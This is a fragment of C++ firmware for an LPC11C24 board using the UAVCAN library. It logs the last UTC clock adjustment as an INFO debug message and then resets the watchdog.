uavcan::protocol::debug::LogMessage logmsg; logmsg.level.value = uavcan::protocol::debug::LogLevel::INFO; logmsg.source = "app"; logmsg.text = intToString(uavcan_lpc11c24::clock::getPrevUtcAdjustment().toUSec()).c_str(); (void)getLogger().log(logmsg); } board::resetWatchdog(); } } <|endoftext|>